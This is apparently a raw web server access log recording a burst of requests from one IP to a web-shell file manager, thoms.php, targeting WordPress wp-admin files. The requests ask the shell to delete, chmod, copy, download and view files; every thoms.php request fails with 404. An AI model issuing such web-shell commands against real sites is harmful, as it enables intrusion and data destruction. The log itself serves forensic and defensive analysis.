45.135.193.11 - - [12/Sep/2026:00:01:23 -0400] "GET /broadweb.com.tw/wp-admin/user/ HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:23 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fusers.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fusers.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:23 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Ffont-library.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Ffont-library.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:24 -0400] "GET /thoms.php?del=ms-users.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-users.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:24 -0400] "GET /broadweb.com.tw/wp-admin/tools.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:24 -0400] "GET /thoms.php?chmod=options-head.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=options-head.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:24 -0400] "GET /broadweb.com.tw/wp-admin/comment.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:24 -0400] "GET /thoms.php?chmod=async-upload.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=async-upload.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:24 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fcustomize.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fcustomize.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:24 -0400] "GET /thoms.php?dl=users.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=users.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:24 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=ms-edit.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=ms-edit.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:24 -0400] "GET /thoms.php?del=nav-menus.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=nav-menus.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:24 -0400] "GET /thoms.php?del=user&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=user&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:24 -0400] "GET /thoms.php?del=about.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=about.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:24 -0400] "GET /broadweb.com.tw/wp-admin/user-new.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:24 -0400] "GET /broadweb.com.tw/wp-admin/widgets.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:24 -0400] "GET /thoms.php?dl=media.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=media.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:24 -0400] "GET /thoms.php?del=link-manager.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=link-manager.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:25 -0400] "GET /thoms.php?del=media-upload.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=media-upload.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:25 -0400] "GET /thoms.php?dl=options-general.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=options-general.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:25 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=user-edit.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=user-edit.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:25 -0400] "GET /thoms.php?chmod=widgets.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=widgets.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:25 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=about.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=about.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:25 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=ms-users.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=ms-users.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:25 -0400] "GET /thoms.php?del=site-health.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=site-health.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:25 -0400] "GET /thoms.php?del=theme-editor.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=theme-editor.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:25 -0400] "GET /thoms.php?del=edit-link-form.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=edit-link-form.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:25 -0400] "GET /thoms.php?dl=themes.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=themes.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:25 -0400] "GET /broadweb.com.tw/wp-admin/contribute.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:25 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=admin-functions.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=admin-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:25 -0400] "GET /thoms.php?dl=authorize-application.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=authorize-application.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:25 -0400] "GET /thoms.php?chmod=ms-sites.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-sites.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:26 -0400] "GET /broadweb.com.tw/wp-admin/media.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:26 -0400] "GET /thoms.php?del=privacy.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=privacy.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:26 -0400] "GET /thoms.php?chmod=options-discussion.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=options-discussion.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:26 -0400] "GET /thoms.php?del=plugin-editor.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=plugin-editor.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:26 -0400] "GET /thoms.php?del=site-editor.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=site-editor.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:26 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fupload.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fupload.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:26 -0400] "GET /broadweb.com.tw/wp-admin/admin-ajax.php HTTP/1.1" 400 21 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:26 -0400] "GET /broadweb.com.tw/wp-admin/link-add.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:26 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin%2Fjs HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin%2Fjs" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:26 -0400] "GET /thoms.php?chmod=font-library.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=font-library.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:26 -0400] "GET /thoms.php?del=options-permalink.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=options-permalink.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:26 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=plugin-editor.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=plugin-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:26 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=admin-post.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=admin-post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:27 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Foptions-media.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Foptions-media.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:27 -0400] "GET /broadweb.com.tw/wp-admin/ms-options.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:27 -0400] "GET /thoms.php?chmod=update-core.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=update-core.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:27 -0400] "GET /thoms.php?dl=custom-header.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=custom-header.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:27 -0400] "GET /broadweb.com.tw/wp-admin/plugins.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:27 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fedit-form-comment.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fedit-form-comment.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:27 -0400] "GET /thoms.php?dl=export.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=export.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:27 -0400] "GET /broadweb.com.tw/wp-admin/privacy.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:27 -0400] "GET /broadweb.com.tw/wp-admin/users.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:27 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=ms-upgrade-network.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=ms-upgrade-network.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:27 -0400] "GET /thoms.php?chmod=export.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=export.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:27 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=ms-sites.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=ms-sites.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:28 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=ms-themes.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=ms-themes.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:28 -0400] "GET /thoms.php?dl=network.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=network.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:28 -0400] "GET /thoms.php?del=plugins.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=plugins.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:28 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin&view=link-parse-opml.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-admin&view=link-parse-opml.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:28 -0400] "GET /broadweb.com.tw/wp-admin/upgrade-functions.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:28 -0400] "GET /thoms.php?dl=options-privacy.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=options-privacy.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:28 -0400] "GET /thoms.php?del=post.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=post.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:28 -0400] "GET /thoms.php?dl=privacy-policy-guide.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=privacy-policy-guide.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:28 -0400] "GET /broadweb.com.tw/wp-admin/freedoms.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:28 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Flink.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Flink.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:28 -0400] "GET /thoms.php?chmod=options-permalink.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=options-permalink.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:28 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fupdate.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fupdate.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:28 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fedit.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Fedit.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:28 -0400] "GET /thoms.php?del=link-add.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=link-add.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:28 -0400] "GET /thoms.php?chmod=media.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=media.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:28 -0400] "GET /broadweb.com.tw/wp-admin/ms-themes.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:01:28 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Foptions-permalink.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-admin%2Foptions-permalink.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
